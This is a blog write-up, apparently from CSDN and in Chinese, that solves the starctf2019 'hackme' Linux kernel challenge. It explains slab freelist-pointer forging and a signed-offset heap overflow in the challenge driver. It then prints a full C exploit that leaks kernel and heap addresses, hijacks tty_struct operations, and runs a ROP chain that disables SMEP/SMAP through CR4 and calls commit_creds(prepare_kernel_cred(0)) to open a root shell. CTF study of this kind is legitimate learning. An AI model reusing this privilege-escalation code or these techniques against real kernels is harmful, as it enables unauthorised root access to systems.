linux kernel pwn学习之堆漏洞利用+bypass smap、smep

161 篇文章 9 订阅
161 篇文章 9 订阅

Linux kernel Heap exploit

Linux内核使用的是slab/slub分配器,与glibc下的ptmalloc有许多类似的地方。比如kfree后,原来的用户数据区的前8字节会有指向下一个空闲块的指针。如果用户请求的大小在空闲的堆块里有满足要求的,则直接取出。

通过调试,可以发现,被释放的堆的数据域前8字节正好指向下一个空闲堆的数据域

与glibc下的ptmalloc2不同的是,slab/slub分配的堆的大小不是数据域加头结构的大小,而是与slab/slub里面的内存“桶”对齐的。我们可以查看slab/slub有哪些“桶”,以root身份,在终端输入

  1. //查看slab的内存桶  
  2. # cat /proc/slabinfo  

我们看到,有这些桶,比如8K的,专门管理8K的堆空间,16字节的专门管理16字节的堆空间。而我们申请的空间大小,是向上对齐,比如,我们要申请600字节的空间,那么slab分配的空间大小实际为1K。并且,大小相同的堆靠在一起。

因此,如果要利用溢出写的话,应该以实际大小来计算偏移等。

还有一个比较容易利用的就是,我们如果可以伪造空闲块的next指针,则可以很容易分配到我们想要读写的地方,不像ptmalloc2里的堆那样,还需要伪造堆结构,这里只需要更改next指针,即可达到目的,为了加深理解,我们以starctf2019-hackme这题为例

starctf2019-hackme

首先,查看一下启动脚本,发现,开启了smap、smep机制,这意味着,内核态里面不能直接访问用户态的数据,而应该拷贝到内核的空间;内核态不能执行用户空间的代码,否则会触发页错误。

  1. qemu-system-x86_64 \  
  2.     -m 256M \  
  3.     -nographic \  
  4.     -kernel bzImage \  
  5.     -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \  
  6.     -monitor /dev/null \  
  7.     -initrd initramfs.cpio \  
  8.     -smp cores=4,threads=2 \  
  9.     -gdb tcp::1234 \  
  10.     -cpu qemu64,smep,smap 2>/dev/null  

然后,我们用IDA分析一下驱动文件hackme.ko

类似于用户态程序常规的增删改查堆题

经过分析,用户态需要传入的数据结构体为

  1. //发送给驱动的数据结构  
  2. struct Data {  
  3.    uint32_t index; //下标  
  4.    uint32_t padding; //填充  
  5.    char *buf; //用户的数据  
  6.    int64_t buf_len; //用户的数据的长度  
  7.    int64_t offset; //偏移  
  8. };  

漏洞点在于offsetuser_buf_len是有符号数,那么,我们就能一个传入负数,一个传入正数,实现堆溢出,我们可以轻松的向上溢出,修改前面的区域。

首先,不急于做题

为了证明我们可以轻松的伪造空闲堆的前八字节的next指针,从而达到分配到任意地址,我们做个试验。那么,我们需要先关闭smap机制,在脚本里把它注释掉。然后,我们通过溢出,修改next指针,看看,这里是test.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

//驱动的fd
int fd;

void initFD() {
   fd = open("/dev/hackme",O_RDWR);
   if (fd < 0) {
      printf("open file error!!\n");
      exit(-1);
   }
}

//发送给驱动的数据结构
struct Data {
   uint32_t index; //下标
   uint32_t padding; //填充
   char *buf; //用户的数据
   int64_t buf_len; //用户的数据的长度
   int64_t offset; //偏移
};

//创建堆
void create(unsigned int index,char *buf,int64_t len) {
   struct Data data;
   data.index = index;
   data.buf = buf;
   data.buf_len = len;
   data.offset = 0;
   ioctl(fd,0x30000,&data);
}

void kdelete(unsigned int index) {
   struct Data data;
   data.index = index;
   ioctl(fd,0x30001,&data);
}

void edit(unsigned int index,char *buf,int64_t len,int64_t offset){
   struct Data data;
   data.index = index;
   data.buf = buf;
   data.buf_len = len;
   data.offset = offset;
   ioctl(fd,0x30002,&data);
}

void readBuf(unsigned int index,char *buf,int64_t len,int64_t offset) {
   struct Data data;
   data.index = index;
   data.buf = buf;
   data.buf_len = len;
   data.offset = offset;
   ioctl(fd,0x30003,&data);
}

char buf[0x1000] = {0};

char buf2[0x100]= {0};

void fillBuf() {
   for (int i=0;i<0x1000;i++) {
      buf[i] = 'a';
   }
}
int main() {
   initFD();
   create(0,buf,0x100); //0
   create(1,buf,0x100); //1
   kdelete(0);
   //修改堆0的next指针,指向我们用户区的buf2
   ((size_t *)buf)[0] = &buf2;
   edit(1,buf,0x100,-0x100);
   //为了看的清除,我们把buf填充上数据
   fillBuf();
   //分配堆0
   create(0,buf,0x100); //0
   //分配到buf2
   create(2,buf,0x100); //2
   //全程,我们没有给buf2填充,我们看看buf2现在的内容
   printf("buf2=%s\n",buf2);
   return 0;
}

程序执行后,结果是这样的

可以看到,我们通过伪造空闲堆块的next指针,就直接实现了任意地址的读写。这比用户态的堆简单多了。

那么,本题的解题思路自然是很多

  1. 想办法泄露cred的地址,然后伪造空闲堆的next,指向cred,分配到cred处,覆写cred结果,获得root权限。
  2. 提前分配好两个与cred结构大小相同的堆,释放第一个堆,然后fork一个子进程,子进程的cred结构有一定几率分配到之前释放的那个堆里,再利用第二个堆向上溢出,修改子进程的cred结构。有一种方法能够准确快速的获得cred结构的大小,那就是查看vmlinux文件里的cred_init函数,因为cred_init的源代码如下
  1. /* 
  2.  * initialise the credentials stuff 
  3.  */  
  4. void __init cred_init(void)  
  5. {  
  6.     /* allocate a slab in which we can store credentials */  
  7.     cred_jar = kmem_cache_create("cred_jar"sizeof(struct cred), 0,  
  8.             SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);  
  9. }  

我们可以在调试期间,修改启动脚本,使得系统一开始就是root权限,然后,我们查看一下cred_init的地址

  1. # cat /proc/kallsyms | grep cred_init  
  2. ffffffff84670946 T cred_init  

然后,我们用IDA打开vmlinux文件,没有的话,可以用extract-vmlinux解压出来。根据地址后几字节,找到这个函数

我们查看函数,就能得到cred结构的大小

但是,由于cred结构的申请使用的是create_kmalloc_cache,这意味着它不大可能直接从我们这边的空闲堆块里取,而是从它的缓存空间里分配。

因此,我们来了一个可靠的

方法3,分配tty_struct结构到空闲堆

之前,我在https://blog.csdn.net/seaaseesa/article/details/104577501这篇博客里详细讲到了UAF控制tty_struct,这里是同样的道理,我们能够使用堆溢出来控制。本题,我们要还要克服一个限制,那就是smap机制,smap机制不让内核直接使用用户空间的数据,而我们的rop、伪造的fake_tty_operations都布置在用户空间的内存里。与smep一样,判断它们的开启与否,都是看cr4寄存器里的值,如果在之前能够有机会执行mov cr4,xxx,使得cr4寄存器的第21位为0,即可关闭smap机制。然而,比较难有这个机会,因此我们直接把这些数据复制一份到内核的堆里,即可绕过这个机制。

当我们把rop、fake_tty_operations布置在堆里,那么,我们还需要泄露堆地址,才能利用。泄露堆地址很简单,溢出读取前一个空闲堆块的next域即可。

直接上完整的exp

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0
//如果我们申请0x2E0的空间,slab分配的堆实际大小为0x400
#define REAL_HEAP_SIZE 0x400
//二进制文件的静态基址
#define RAW_KERNEL_BASE 0XFFFFFFFF81000000
//mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
size_t MOV_CR4_RAX = 0xffffffff8100252b;
//swapgs ; popfq ; pop rbp ; ret
size_t SWAPGS = 0xffffffff81200c2e;
//iretq
size_t IRETQ = 0xFFFFFFFF81019356;
//commit_creds函数
size_t COMMIT_CREDS = 0xFFFFFFFF8104D220;
// prepare_kernel_cred
size_t PREPARE_KERNEL_CRED = 0xFFFFFFFF8104D3D0;
//push rax ; pop rsp ; cmp qword ptr [rdi + 8], rdx ; jae 0xffffffff810608e8 ; ret做栈迁移用
size_t PUSH_RAX_POP_RSP = 0xffffffff810608d5;
size_t POP_RAX = 0xffffffff8101b5a1;
size_t POP_RSP = 0xffffffff810484f0;

//驱动的fd
int fd;

void initFD() {
   fd = open("/dev/hackme",O_RDWR);
   if (fd < 0) {
      printf("open file error!!\n");
      exit(-1);
   }
}

//发送给驱动的数据结构
struct Data {
   uint32_t index; //下标
   uint32_t padding; //填充
   char *buf; //用户的数据
   int64_t buf_len; //用户的数据的长度
   int64_t offset; //偏移
};

//创建堆
void create(unsigned int index,char *buf,int64_t len) {
   struct Data data;
   data.index = index;
   data.buf = buf;
   data.buf_len = len;
   data.offset = 0;
   ioctl(fd,0x30000,&data);
}

void kdelete(unsigned int index) {
   struct Data data;
   data.index = index;
   ioctl(fd,0x30001,&data);
}

void edit(unsigned int index,char *buf,int64_t len,int64_t offset){
   struct Data data;
   data.index = index;
   data.buf = buf;
   data.buf_len = len;
   data.offset = offset;
   ioctl(fd,0x30002,&data);
}

void readBuf(unsigned int index,char *buf,int64_t len,int64_t offset) {
   struct Data data;
   data.index = index;
   data.buf = buf;
   data.buf_len = len;
   data.offset = offset;
   ioctl(fd,0x30003,&data);
}

char buf[0x1000] = {0};

//初始化函数和gadgets的地址
void init_addr(size_t kernel_base) {
   MOV_CR4_RAX += kernel_base - RAW_KERNEL_BASE;
   printf("mov_cr4_rax_addr=0x%lx\n",MOV_CR4_RAX);
   SWAPGS += kernel_base - RAW_KERNEL_BASE;
   printf("swapgs_addr=0x%lx\n",SWAPGS);
   IRETQ += kernel_base - RAW_KERNEL_BASE;
   printf("iretq_addr=0x%lx\n",IRETQ);
   COMMIT_CREDS += kernel_base - RAW_KERNEL_BASE;
   printf("commit_creds_addr=0x%lx\n",COMMIT_CREDS);
   PREPARE_KERNEL_CRED += kernel_base - RAW_KERNEL_BASE;
   printf("prepare_kernel_cred_addr=0x%lx\n",PREPARE_KERNEL_CRED);
   PUSH_RAX_POP_RSP += kernel_base - RAW_KERNEL_BASE;
   printf("push_rax_pop_rsp_addr=0x%lx\n",PUSH_RAX_POP_RSP);
   POP_RSP += kernel_base - RAW_KERNEL_BASE;
   printf("pop_rsp_addr=0x%lx\n",POP_RSP);
   POP_RAX += kernel_base - RAW_KERNEL_BASE;
   printf("pop_rax_addr=0x%lx\n",POP_RAX);
}

void getRoot() {
   //函数指针
   void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
   void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
   //commit_creds(prepare_kernel_cred(0))
   (*cc)((*pkc)(0));
}

void getShell() {
   if (getuid() == 0) {
      printf("[+]Rooted!!\n");
      system("/bin/sh");
   } else {
      printf("[+]Root Fail!!\n");
   }
}

size_t user_cs,user_ss,user_flags,user_sp;
/*保存用户态的寄存器到变量里*/
void saveUserState() {
   __asm__("mov %cs,user_cs;"
           "mov %ss,user_ss;"
           "mov %rsp,user_sp;"
           "pushf;"
           "pop user_flags;"
           );
  puts("user states have been saved!!");
}

int main() {
   //保存用户态寄存器
   saveUserState();
   initFD();
   //创建一个与TTY_STRUCT_SIZE结构体大小一样的堆
   create(0,buf,TTY_STRUCT_SIZE);
   //由slab分配器的性质,大小相同的堆挨在一起,所以我们
   //再创建一个TTY_STRUCT_SIZE的堆,用于向上越界
   create(1,buf,TTY_STRUCT_SIZE);
   //释放大小为TTY_STRUCT_SIZE的第一个堆
   kdelete(0);
   //由于开启了smap,我们需要把ROP、fake_tty_operations这些放内核的堆空间里
   create(2,buf,0x100);
   create(3,buf,0x100);
   kdelete(2);
   //2里面会有下一个空闲块的地址,就能算出2的地址
   readBuf(3,buf,0x100,-0x100);
   size_t heap_addr = ((size_t *)buf)[0] - 0x200;
   printf("heap2_addr=0x%lx\n",heap_addr);
   //伪造tty_operations函数表
   size_t fake_tty_operations[0x20];
   //tty_struct结构申请到了堆0
   int tty_fd = open("/dev/ptmx",O_RDWR);
   //将tty_struct结构读取出来
   readBuf(1,buf,REAL_HEAP_SIZE,-REAL_HEAP_SIZE);
   //获得一个vmlinux里的某处地址,减去偏移,就是内核的基地址
   size_t kernel_base = ((size_t *)buf)[3] - 0x625D80;
   printf("kernel_base=0x%lx\n",kernel_base);
   //初始化gadgets和函数的地址
   init_addr(kernel_base);
   //构造ROP
   size_t rop[0x20];
   int i = 0;
   /*rop同时关闭了smap、semp*/
   rop[i++] = POP_RAX;
   rop[i++] = 0x6f0;
   rop[i++] = MOV_CR4_RAX;
   rop[i++] = 0;
   rop[i++] = (size_t)getRoot;
   rop[i++] = SWAPGS;
   rop[i++] = 0;
   rop[i++] = 0;
   rop[i++] = IRETQ;
   rop[i++] = (size_t)getShell;
   rop[i++] = user_cs;
   rop[i++] = user_flags;
   rop[i++] = user_sp;
   rop[i++] = user_ss;
   //将rop保存到内核的堆里,绕过smap
   create(2,(char *)rop,0x100);
   size_t rop_addr = heap_addr;
   //对tty_fd执行write,将触发这个gadget进行第一次转转移
   fake_tty_operations[7] = PUSH_RAX_POP_RSP;
   //栈再一次转移到rop数组里
   fake_tty_operations[0] = POP_RSP;
   fake_tty_operations[1] = rop_addr;
   //将fake_tty_operations保存到内核的堆里,绕过smap
   kdelete(3);
   create(3,(char *)fake_tty_operations,0x100);
   size_t fake_tty_operations_addr = heap_addr + 0x100;
   ((size_t *)buf)[3] = fake_tty_operations_addr; //篡改tty_operations指针
   edit(1,buf,REAL_HEAP_SIZE,-REAL_HEAP_SIZE); //把篡改后的数据写回去
   //触发栈转移,执行ROP
   write(tty_fd,buf,0x10);
   return 0;
}

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值